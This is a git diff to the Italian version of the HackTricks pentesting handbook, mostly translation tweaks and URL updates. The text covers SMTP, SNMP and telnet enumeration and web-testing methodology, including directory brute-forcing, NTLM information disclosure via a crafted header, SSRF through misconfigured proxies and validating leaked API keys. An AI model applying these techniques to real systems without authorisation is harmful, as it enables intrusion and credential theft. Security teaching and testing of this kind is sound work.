| -| rua | URI di reporting di rapporti aggregati | rua=mailto:aggrep@example.com | -| p | Politica per il dominio organizzativo | p=quarantine | -| sp | Politica per i sottodomini dell'OD | sp=reject | -| adkim | Modalità di allineamento per DKIM | adkim=s | -| aspf | Modalità di allineamento per SPF | aspf=r | +| Tag Name | Purpose | Sample | +| -------- | --------------------------------------------- | ------------------------------- | +| v | Protocol version | v=DMARC1 | +| pct | Percentage of messages subjected to filtering | pct=20 | +| ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com | +| rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com | +| p | Policy for organizational domain | p=quarantine | +| sp | Policy for subdomains of the OD | sp=reject | +| adkim | Alignment mode for DKIM | adkim=s | +| aspf | Alignment mode for SPF | aspf=r | ### **E i Sottodomini?** @@ -351,7 +351,7 @@ Questo ha senso: un sottodominio potrebbe trovarsi in una posizione geografica d ### **Open Relay** -Quando vengono inviate email, è fondamentale garantire che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay di cui si fida il destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere completamente consapevoli di quali **intervalli IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle valutazioni di sicurezza. +Quando vengono inviate email, è fondamentale assicurarsi che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un **server di relay di cui si fida il destinatario**. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali **intervalli IP siano sicuri da consentire**. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle valutazioni di sicurezza. Una soluzione alternativa che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente riguardo alle comunicazioni con clienti potenziali o in corso, è **consentire connessioni da qualsiasi indirizzo IP**. Questo viene fatto configurando il parametro `mynetworks` del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito: ```bash @@ -508,7 +508,7 @@ submit.cf - [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) - [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/) -## Comandi Automatici HackTricks +## HackTricks Comandi Automatici ``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. @@ -520,7 +520,7 @@ Description: Notes for SMTP Note: | SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. -https://book.hacktricks.xyz/pentesting/pentesting-smtp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index abde4240a..42bab59bb 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -16,13 +16,13 @@ PORT STATE SERVICE REASON VERSION ### MIB Per garantire che l'accesso SNMP funzioni tra diversi produttori e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. La MIB è un **formato indipendente per memorizzare informazioni sui dispositivi**. Una MIB è un file **testo** in cui tutti gli **oggetti SNMP** interrogabili di un dispositivo sono elencati in una gerarchia ad albero **standardizzata**. Contiene almeno un **`Object Identifier` (`OID`)**, che, oltre all'**indirizzo unico** necessario e a un **nome**, fornisce anche informazioni sul tipo, diritti di accesso e una descrizione dell'oggetto rispettivo.\ -I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e come appaiono, quali valori restituiscono per il specifico OID, o quale tipo di dato viene utilizzato. +I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e come appaiono, quali valori restituiscono per l'OID specifico o quale tipo di dato viene utilizzato. ### OIDs **Object Identifiers (OIDs)** svolgono un ruolo cruciale. Questi identificatori unici sono progettati per gestire oggetti all'interno di una **Management Information Base (MIB)**. -I livelli più alti degli ID oggetto MIB, o OIDs, sono assegnati a diverse organizzazioni di standardizzazione. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globale. +I livelli più alti degli ID oggetto MIB, o OIDs, sono assegnati a diverse organizzazioni di standardizzazione. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globali. Inoltre, ai fornitori è concessa la libertà di stabilire rami privati. All'interno di questi rami, hanno l'**autonomia di includere oggetti gestiti pertinenti alle proprie linee di prodotto**. Questo sistema garantisce che ci sia un metodo strutturato e organizzato per identificare e gestire una vasta gamma di oggetti tra diversi fornitori e standard. @@ -42,7 +42,7 @@ Ecco una suddivisione di questo indirizzo. - 1 – questo è chiamato ISO e stabilisce che questo è un OID. Ecco perché tutti gli OID iniziano con "1" - 3 – questo è chiamato ORG e viene utilizzato per specificare l'organizzazione che ha costruito il dispositivo. - 6 – questo è il dod o il Dipartimento della Difesa, che è l'organizzazione che ha stabilito per prima Internet. -- 1 – questo è il valore di internet per denotare che tutte le comunicazioni avverranno attraverso Internet. +- 1 – questo è il valore di Internet per denotare che tutte le comunicazioni avverranno attraverso Internet. - 4 – questo valore determina che questo dispositivo è realizzato da un'organizzazione privata e non da una governativa. - 1 – questo valore denota che il dispositivo è realizzato da un'impresa o un'entità commerciale. @@ -60,7 +60,7 @@ Il resto dei valori fornisce informazioni specifiche sul dispositivo. - 1 – punto specifico nel dispositivo - 3 – porta - 21 – indirizzo della porta -- 1 – visualizzazione per la porta +- 1 – display per la porta - 4 – numero del punto - 7 – stato del punto @@ -76,13 +76,13 @@ Ci sono 2 versioni importanti di SNMP: Come accennato in precedenza, **per accedere alle informazioni salvate sulla MIB è necessario conoscere la community string nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\ Ci sono **2 tipi di community strings**: -- **`public`** principalmente funzioni **solo lettura** +- **`public`** principalmente **funzioni di sola lettura** - **`private`** **Lettura/Scrittura** in generale -Nota che **la scrivibilità di un OID dipende dalla community string utilizzata**, quindi **anche** se scopri che viene utilizzato "**public**", potresti essere in grado di **scrivere alcuni valori.** Inoltre, potrebbero **esistere** oggetti che sono **sempre "Solo Lettura".**\ +Nota che **la scrivibilità di un OID dipende dalla community string utilizzata**, quindi **anche** se scopri che viene utilizzato "**public**", potresti essere in grado di **scrivere alcuni valori.** Inoltre, potrebbero **esistere** oggetti che sono **sempre "Read Only".**\ Se provi a **scrivere** un oggetto, si riceve un errore **`noSuchName` o `readOnly`**.\*\*.\*\* -Nelle versioni 1 e 2/2c, se utilizzi una **community string** **errata**, il server non **risponderà**. Quindi, se risponde, è stata utilizzata una **community string valida**. +Nelle versioni 1 e 2/2c, se utilizzi una community string **errata**, il server non **risponderà**. Quindi, se risponde, è stata utilizzata una **community string valida**. ## Porte @@ -135,7 +135,7 @@ Nel campo della gestione della rete, alcune configurazioni e parametri sono fond ### Impostazioni di accesso -Due impostazioni principali abilitano l'accesso all'**intero albero OID**, che è un componente cruciale nella gestione della rete: +Due impostazioni principali abilitano l'accesso all'**albero OID completo**, che è un componente cruciale nella gestione della rete: 1. **`rwuser noauth`** è impostato per consentire l'accesso completo all'albero OID senza la necessità di autenticazione. Questa impostazione è semplice e consente un accesso illimitato. 2. Per un controllo più specifico, l'accesso può essere concesso utilizzando: @@ -150,9 +150,9 @@ Una serie di **valori della Management Information Base (MIB)** sono utilizzati - **Processi di sistema**: Accessibile tramite `1.3.6.1.2.1.25.1.6.0`, questo parametro consente il monitoraggio dei processi attivi all'interno del sistema. - **Programmi in esecuzione**: Il valore `1.3.6.1.2.1.25.4.2.1.2` è designato per tracciare i programmi attualmente in esecuzione. -- **Percorso dei processi**: Per determinare da dove proviene un processo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`. +- **Percorso dei processi**: Per determinare da dove sta girando un processo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`. - **Unità di archiviazione**: Il monitoraggio delle unità di archiviazione è facilitato da `1.3.6.1.2.1.25.2.3.1.4`. -- **Nome del software**: Per identificare il software installato su un sistema, si impiega `1.3.6.1.2.1.25.6.3.1.2`. +- **Nome del software**: Per identificare il software installato su un sistema, viene impiegato `1.3.6.1.2.1.25.6.3.1.2`. - **Account utente**: Il valore `1.3.6.1.4.1.77.1.2.25` consente di tracciare gli account utente. - **Porte locali TCP**: Infine, `1.3.6.1.2.1.6.13.1.3` è designato per monitorare le porte locali TCP, fornendo informazioni sulle connessioni di rete attive. @@ -174,7 +174,7 @@ snmp-rce.md ## **SNMP Massivo** -[Braa](https://github.com/mteg/braa) è uno scanner SNMP di massa. L'uso previsto di un tale strumento è, ovviamente, effettuare query SNMP – ma a differenza di snmpwalk di net-snmp, è in grado di interrogare dozzine o centinaia di host simultaneamente, e in un unico processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente. +[Braa](https://github.com/mteg/braa) è uno scanner SNMP di massa. L'uso previsto di un tale strumento è, ovviamente, effettuare query SNMP – ma a differenza di snmpwalk di net-snmp, è in grado di interrogare dozzine o centinaia di host simultaneamente, e in un unico processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO rapidamente. Braa implementa il proprio stack SNMP, quindi non ha bisogno di librerie SNMP come net-snmp. @@ -194,13 +194,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **Identificare la Stringa Privata** -Un passaggio cruciale implica l'identificazione della **stringa di comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione si basa spesso sull'analisi dei dati SNMP Trap per la parola "trap" con un **comando grep**: +Un passaggio cruciale implica l'identificazione della **stringa della comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione si basa spesso sull'analisi dei dati SNMP Trap per la parola "trap" con un **comando grep**: ```bash grep -i "trap" *.snmp ``` ### **Nome utente/Password** -I log memorizzati all'interno delle tabelle MIB vengono esaminati per **tentativi di accesso non riusciti**, che potrebbero includere accidentalmente password inserite come nomi utente. Parole chiave come _fail_, _failed_ o _login_ vengono cercate per trovare dati preziosi: +I log memorizzati all'interno delle tabelle MIB vengono esaminati per **tentativi di accesso non riusciti**, che potrebbero accidentalmente includere password inserite come nomi utente. Parole chiave come _fail_, _failed_ o _login_ vengono cercate per trovare dati preziosi: ```bash grep -i "login\|fail" *.snmp ``` @@ -237,7 +237,7 @@ Description: Notes for SNMP Note: | SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). -https://book.hacktricks.xyz/pentesting/pentesting-snmp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: SNMP Check diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index 3dc8560cd..3da22ff2a 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -25,7 +25,7 @@ Lo script `telnet-ntlm-info.nse` otterrà informazioni NTLM (versioni di Windows Dalla [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Nel Protocollo TELNET ci sono varie "**opzioni**" che saranno sanzionate e possono essere utilizzate con la struttura "**DO, DON'T, WILL, WON'T**" per consentire a un utente e a un server di concordare l'uso di un insieme più elaborato (o forse semplicemente diverso) di convenzioni per la loro connessione TELNET. Tali opzioni potrebbero includere la modifica del set di caratteri, la modalità di eco, ecc. -**So che è possibile enumerare queste opzioni ma non so come, quindi fammi sapere se sai come.** +**So che è possibile enumerare queste opzioni, ma non so come, quindi fammi sapere se sai come.** ### [Brute force](../generic-hacking/brute-force.md#telnet) @@ -35,7 +35,7 @@ Dalla [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Nel Protocollo /etc/xinetd.d/telnet /etc/xinetd.d/stelnet ``` -## Comandi Automatici HackTricks +## HackTricks Comandi Automatici ``` Protocol_Name: Telnet #Protocol Abbreviation if there is one. Port_Number: 23 #Comma separated if there is more than one. @@ -48,7 +48,7 @@ Note: | wireshark to hear creds being passed tcp.port == 23 and ip.addr != myip -https://book.hacktricks.xyz/pentesting/pentesting-telnet +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 486a56a4c..ae23878b1 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -145,7 +145,7 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> A questo punto dovresti già avere alcune informazioni sul server web utilizzato dal cliente (se sono stati forniti dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato, hai persino trovato un CMS e hai eseguito qualche scanner. +> A questo punto dovresti già avere alcune informazioni sul server web utilizzato dal cliente (se sono stati forniti dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato, hai persino trovato un CMS e eseguito qualche scanner. ## Scoperta dell'applicazione web passo dopo passo @@ -164,7 +164,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs **Forzare errori** -I server web possono **comportarsi in modo imprevisto** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**. +I server web possono **comportarsi in modo imprevisto** quando dati strani vengono inviati loro. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**. - Accedi a **pagine false** come /whatever_fake.php (.aspx,.html,.etc) - **Aggiungi "\[]", "]]" e "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori @@ -183,7 +183,7 @@ Se scopri che **WebDav** è **abilitato** ma non hai abbastanza permessi per **c - Se l'applicazione **non costringe l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM** - Se l'applicazione sta **inviando dati sensibili (password)** utilizzando HTTP. Allora è una vulnerabilità alta. -Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità: +Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi di Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -223,13 +223,13 @@ Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spide - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Questo è uno strumento utilizzato per scoprire endpoint per un dato target. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scoprire link dalla wayback machine (scaricando anche le risposte nella wayback e cercando ulteriori link). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando moduli) e trova anche informazioni sensibili utilizzando regex specifici. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzione progettato per professionisti della sicurezza informatica. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzionale progettato per professionisti della sicurezza informatica. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un pacchetto Go e [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URL, percorsi, segreti e altri dati interessanti dal codice sorgente JavaScript. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **estensione di Burp Suite** per **estrarre i parametri e gli endpoint** dalla richiesta per creare una wordlist personalizzata per fuzzing ed enumerazione. - [**katana**](https://github.com/projectdiscovery/katana) (go): Strumento fantastico per questo. - [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare. -### Brute Force directories and files +### Brute Force directory e file Inizia a **brute-forzare** dalla cartella radice e assicurati di brute-forzare **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dallo **Spidering** (puoi fare questo brute-forcing **ricorsivamente** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\ Strumenti: @@ -248,7 +248,7 @@ Strumenti: **Dizionari consigliati:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) -- [**Dirsearch** dizionario incluso](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +- [**Dizionario incluso di Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) - [Assetnote wordlists](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) @@ -270,15 +270,15 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti all'interno degli HTML che potrebbero essere soggetti a takeover. - **File di backup**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se puoi, potresti provare a cercare** parametri nascosti in ciascun file web eseguibile. +- **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se puoi, potresti provare a cercare** parametri nascosti in ogni file web eseguibile. - _Arjun tutte le wordlist predefinite:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Commenti:** Controlla i commenti di tutti i file, puoi trovare **credenziali** o **funzionalità nascoste**. - Se stai partecipando a un **CTF**, un trucco "comune" è **nascondere** **informazioni** all'interno dei commenti a destra della **pagina** (utilizzando **centinaia** di **spazi** in modo da non vedere i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web. -- **API keys**: Se **trovi qualche API key** c'è una guida che indica come utilizzare le API key di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). -- Google API keys: Se trovi qualche API key che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere. +- **Chiavi API**: Se **trovi una chiave API** c'è una guida che indica come utilizzare le chiavi API di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). +- Chiavi API di Google: Se trovi una chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere. - **S3 Buckets**: Durante lo spidering controlla se qualche **sottodominio** o qualche **link** è correlato a qualche **S3 bucket**. In tal caso, [**controlla** le **permissive** del bucket](buckets/index.html). ### Scoperte speciali @@ -290,15 +290,15 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for - Cerca **link** ad altri file all'interno dei file **CSS**. - [Se trovi un file _**.git**_ alcune informazioni possono essere estratte](git.md). - Se trovi un _**.env**_ informazioni come chiavi API, password db e altre informazioni possono essere trovate. -- Se trovi **API endpoints** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembreranno" tali. -- **File JS**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre percorsi da file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica potrebbe indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti usare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.** +- Se trovi **endpoint API** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembreranno" tali. +- **File JS**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre percorsi da file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica può indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti usare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.** - Dovresti anche controllare i file JS scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per scoprire se è vulnerabile. -- **Javascript Deobfuscator e Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator). -- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org). -- **JsFuck deobfuscation** (javascript con caratteri:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)). +- **Deobfuscator e Unpacker Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator). +- **Beautifier Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org). +- **Deobfuscazione JsFuck** (javascript con caratteri:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)). - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - In diverse occasioni, sarà necessario **comprendere le espressioni regolari** utilizzate. Questo sarà utile: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex). -- Potresti anche **monitorare i file in cui sono stati rilevati moduli**, poiché una modifica nel parametro o l'apparizione di un nuovo modulo potrebbe indicare una potenziale nuova funzionalità vulnerabile. +- Potresti anche **monitorare i file in cui sono stati rilevati moduli**, poiché una modifica nel parametro o l'apparizione di un nuovo modulo può indicare una potenziale nuova funzionalità vulnerabile. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -308,21 +308,21 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for **502 Proxy Error** -Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato un** SSRF. +Se una pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato un** SSRF. -**NTLM Authentication - Info disclosure** +**Autenticazione NTLM - Informazioni riservate** -Se il server in esecuzione richiede autenticazione è **Windows** o trovi un login che richiede le tue **credenziali** (e richiede il **nome** **del dominio**), puoi provocare una **divulgazione di informazioni**.\ +Se il server in esecuzione richiede autenticazione è **Windows** o trovi un login che richiede le tue **credenziali** (e richiede il **nome del dominio**), puoi provocare una **divulgazione di informazioni**.\ **Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**autenticazione NTLM**, il server risponderà con informazioni interne (versione IIS, versione Windows...) all'interno dell'intestazione "WWW-Authenticate".\ Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -È possibile **inserire contenuti** all'interno di una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà la redirezione) ma qualcosa potrebbe essere **nascosto** lì dentro. +È possibile **inserire contenuti** all'interno di una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà il reindirizzamento) ma qualcosa potrebbe essere **nascosto** lì. ### Controllo delle vulnerabilità web -Ora che è stata eseguita un'enumerazione completa dell'applicazione web, è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui: +Ora che è stata eseguita un'ampia enumerazione dell'applicazione web, è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md @@ -348,7 +348,7 @@ Entry_1: Name: Notes Description: Notes for Web Note: | -https://book.hacktricks.xyz/pentesting/pentesting-web +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html Entry_2: Name: Quick Web Scan diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index d0e59e12e..10e9c714f 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -2,7 +2,7 @@ ## The Checklist -Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). +Checklist [da qui](https://lsgeurope.com/post/angular-security-checklist). * [ ] Angular è considerato un framework lato client e non ci si aspetta che fornisca protezione lato server * [ ] Il sourcemap per gli script è disabilitato nella configurazione del progetto @@ -14,7 +14,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). ## What is Angular -Angular è un **potente** e **open-source** framework front-end mantenuto da **Google**. Utilizza **TypeScript** per migliorare la leggibilità del codice e il debugging. Con forti meccanismi di sicurezza, Angular previene vulnerabilità comuni lato client come **XSS** e **open redirects**. Può essere utilizzato anche lato **server**, rendendo importanti le considerazioni sulla sicurezza da **entrambi i lati**. +Angular è un **framework** front-end **potente** e **open-source** mantenuto da **Google**. Utilizza **TypeScript** per migliorare la leggibilità del codice e il debug. Con forti meccanismi di sicurezza, Angular previene vulnerabilità comuni lato client come **XSS** e **open redirects**. Può essere utilizzato anche lato **server**, rendendo importanti le considerazioni sulla sicurezza da **entrambi i lati**. ## Framework architecture @@ -41,11 +41,11 @@ my-workspace/ ``` Secondo la documentazione, ogni applicazione Angular ha almeno un componente, il componente radice (`AppComponent`) che collega una gerarchia di componenti con il DOM. Ogni componente definisce una classe che contiene dati e logica dell'applicazione ed è associato a un modello HTML che definisce una vista da visualizzare in un ambiente target. Il decoratore `@Component()` identifica la classe immediatamente sottostante come un componente e fornisce il modello e i metadati specifici del componente correlati. L'`AppComponent` è definito nel file `app.component.ts`. -Gli NgModule di Angular dichiarano un contesto di compilazione per un insieme di componenti dedicato a un dominio dell'applicazione, a un flusso di lavoro o a un insieme di capacità strettamente correlate. Ogni applicazione Angular ha un modulo radice, convenzionalmente chiamato `AppModule`, che fornisce il meccanismo di avvio che lancia l'applicazione. Un'applicazione contiene tipicamente molti moduli funzionali. L'`AppModule` è definito nel file `app.module.ts`. +Gli Angular NgModules dichiarano un contesto di compilazione per un insieme di componenti dedicato a un dominio dell'applicazione, a un flusso di lavoro o a un insieme di capacità strettamente correlate. Ogni applicazione Angular ha un modulo radice, convenzionalmente chiamato `AppModule`, che fornisce il meccanismo di avvio che lancia l'applicazione. Un'applicazione contiene tipicamente molti moduli funzionali. L'`AppModule` è definito nel file `app.module.ts`. -Il NgModule `Router` di Angular fornisce un servizio che consente di definire un percorso di navigazione tra i diversi stati dell'applicazione e le 